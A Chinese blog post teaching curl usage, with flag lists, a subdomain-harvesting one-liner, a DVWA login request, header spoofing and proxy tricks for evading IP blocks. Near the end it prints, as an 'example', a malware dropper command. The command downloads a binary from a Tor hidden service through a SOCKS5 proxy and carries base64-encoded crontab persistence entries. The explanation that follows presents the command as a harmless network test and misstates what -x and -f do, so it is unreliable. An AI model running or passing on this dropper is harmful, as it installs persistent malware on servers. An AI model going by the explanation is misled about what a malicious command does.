侧边栏壁纸
博主头像
★街角晚灯★博主等级

博观而约取 厚积而薄发

  • 累计撰写 466 篇文章
  • 累计创建 185 个标签
  • 累计收到 0 条评论

目 录CONTENT

文章目录

curl请求头文件命令|curl命令

WinJay
2021-04-25 / 0 评论 / 0 点赞 / 416 阅读 / 7998 字 / 正在检测是否收录...
温馨提示:
文章发布较早,内容可能过时,阅读注意甄别。。。。

curl命令

在推特上看到国外牛人一行代码收集子域名,仔细看了一下用到的姿势,其中有curl,碰巧看到阮一峰大牛的curl用法指南文章,于是决定总结一下curl。

一行代码收集子域名

for h in $(cat hosts.txt); do curl -siL https://$h|egrep -io  "[0-9a-z_\-\.]+\.([0-9a-z_\-]+)?`echo $h|awk -F '.' '{print $(NF-1)}'`([0-9a-z_\-\.]+)?\.[a-z]{1,5}"|sort -fu ; done

curl用法示例

-X 指定请求方法(Post、Get、Put、PATCH、DELETE、HEAD)
-x 指定HTTP请求的代理
-H 指定请求标头;自定义头信息传递给服务器
-d 发送POST请求提交的数据,使用-d参数后,会自动将请求转为POST,HTTP请求会自动加上标头Content-Type : application/x-www-form-urlencoded,可省略-X POST
-v 显示http通信的整个过程
-u 设置服务器认证的用户名和密码

-i 显示Response头信息,并打印源码
-I 显示Response头信息,不打印源码

-o 文件名 保存
-O 将URL的最后部分当作文件名保存
    
-s 不输出错误和进度信息
-S 指定只输出错误信息

-L 自动跳转,curl默认不跟随跳转
-k 跳过SSL检测


curl -v

显示http通信的整个过程; 不加参数时,默认发出Get请求,查看页面源码

curl -v https://www.baidu.com

image.png

curl -X

指定请求方法(Post、Get、Put、PATCH、DELETE、HEAD)

curl -v -X Post https://www.baidu.com
curl -v -X Get https://www.baidu.com

image.png
image.png

Curl -I

只打印Response头信息|只打印响应头部信息 -i显示Response头信息,并打印源码;-I的区别是不打印源码,可用于探测服务器信息

[root@VMWare ~]# curl -I www.baidu.com
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Connection: keep-alive
Content-Length: 277
Content-Type: text/html
Date: Wed, 03 Nov 2021 07:06:56 GMT
Etag: "575e1f60-115"
Last-Modified: Mon, 13 Jun 2016 02:50:08 GMT

curl -o

下载文件;-o 指定文件名保存,-O将URL的最后部分当作文件名保存

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
curl -O https://www.baidu.com/1.txt  							#下载1.txt文件
curl -L http://219.143.195.87/NuGet.zip -o /root/.nuget/NuGet/NuGet.Config #下载NuGet.zip文件到指定目录并重命名为NuGet.Config。

POST提交登录表单

以dvwa登录为例:-H添加请求头,-L开启自动跳转,-i打印请求头和页面源码,可以看到欢迎界面源码。

 curl -i -L -H'Cookie: security=impossible; PHPSESSID=dm4a5af6tntekl7jlfi7pl42b3' -H'Host: 10.211.55.4' -d'username=admin&password=password&Login=Login&user_token=6c2b5b838ed4e555e11cc40a63010e6c' http://10.211.55.4/dvwa/login.php

添加HTTP请求头

设置User-Agent绕过服务器访问代理检测,可用于爬虫欺骗

curl -H'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0'

设置Host绕过主机头检测,替代更改host文件的繁琐操作

curl -H'Host: xxxx' IP

指定代理访问

-x指定代理,可用于IP被拉黑时绕过IP检测

curl -x 127.0.0.1:8080 http://www.baidu.com

跳过SSL检测

curl -k 

自动跳转

curl -L

上传文件

curl -F 'file=@/Desktop/photo.png' https://xxx.com

安全测试

不安全的HTTP方法

curl -X OPTIONS http://xxx.com

端口探测

[root@VMWare ~]# curl 127.0.0.1:80
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.20.1</center>
</body>
</html>

image.png

用curl进行认证

使用curl选项 -u 可以完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:

curl -u user:pwd http://man.linuxde.net
curl -u user http://man.linuxde.net

参考
http://www.ruanyifeng.com/blog/2019/09/curl-reference.html

curl -H “Content-Type:application/json” -H “Data_Type:msg” -X POST -d “[1268370340507013122]” http://localhost:8080/jaia/sys/schedule/run

示例

curl -4fsSLkA- -m200 -x socks5h://159.69.113.248:9050 wvzyv2nptjuxcqoibeklxese46j4uonzaapwyl6wvhdknjlqlcoeu7id.onion/int.x86_64 -o./0fb8f7d599694b7380726efe8efb8f89 -e47.94.228.95_root_x86_64_Lit_f4684225dbd378c8ae1972d34b8a80a5_MjggKiAqICogKiAvcm9vdC8uc3lzdGVtZC1zZXJ2aWNlLnNoID4gL2Rldi9udWxsIDI+JjEgJgoKNTYgMCAqICogKiAiL3Jvb3QvLmFjbWUuc2giL2FjbWUuc2ggLS1jcm9uIC0taG9tZSAiL3Jvb3QvLmFjbWUuc2giID4gL2Rldi9udWxsCgowICogKiAqICogcm9vdCAvdXNyLy53b3JrL3dvcmszMgo=

这个命令是使用curl工具,用于在命令行中执行HTTP请求。下面是对该命令中各个选项和参数的解释:

  • curl: 这是curl工具的命令行命令,用于发出HTTP请求。

  • -4: 这是一个curl选项,用于强制使用IPv4地址,即使用IPv4来进行网络通信。有些系统默认支持IPv6,使用此选项可以明确使用IPv4。

  • -f: 这是另一个curl选项,表示在发生错误时不显示错误信息并继续执行。如果请求失败,curl将不会输出错误信息。

  • -s: 这是curl的另一个选项,表示“静默”模式,它使curl在执行时不显示进度信息或错误消息。这对于在脚本中使用curl时很有用,以避免不必要的输出。

  • -S: 这是curl的选项,用于在发生错误时仍然显示错误信息。与 -s 选项相反,它确保在请求失败时仍然会看到错误消息。

  • -L: 这是curl的选项,用于自动跟踪HTTP重定向。如果服务器返回重定向响应,curl将自动按照新的URL继续请求。

  • -k: 这是curl的选项,用于忽略SSL证书验证。在使用HTTPS时,curl默认会验证服务器的SSL证书是否有效,但 -k 选项会关闭这种验证,可能会用于测试或开发环境中。

  • -A-: 这是curl的选项,用于设置User-Agent标头。在这里,-A- 表示将User-Agent标头设置为空,即不发送User-Agent信息。

  • -m200: 这是curl的选项,用于设置最大请求时间(最大执行时间)为200秒。如果请求在200秒内没有完成,curl将中止请求。

  • -x: 这是curl的选项,用于指定代理服务器的地址。在这个命令中,代理服务器的地址似乎是一个占位符(解释为"x"),并没有实际指定代理服务器。

综合起来,这个命令使用curl工具以IPv4方式发出HTTP请求,忽略SSL证书验证,设置最大执行时间为200秒,并且在请求中不包含User-Agent信息。但是,代理服务器的设置可能是不完整的,因为它只有一个占位符"x"。此命令适用于一些特定的网络测试或脚本场景,具体用途取决于实际情况。如果需要使用代理服务器,应该提供正确的代理服务器地址。


获取站点状态码

curl -I -m 10  -s -w %{http_code}'\n' https://www.baidu.com
curl -I -m 10 -o /dev/null -s -w %{http_code}'\n' https://www.baidu.com
参数说明:
-I 						   仅测试HTTP头 
-m 10 	 				最多查询10s 
-o /dev/null 	  		屏蔽原有输出信息 
-s silent 				 静默方式
-w %{http_code}     控制额外输出 
-o/--output				把输出写到该文件中

image.png

image.png

绑定 ip 测试

curl -I -m 10  -H "https://www.baidu.com"  https://182.61.200.6 -o /dev/null -s -w %{http_code}

image.png

0
  1. 支付宝打赏

    qrcode alipay
  2. 微信打赏

    qrcode weixin

评论区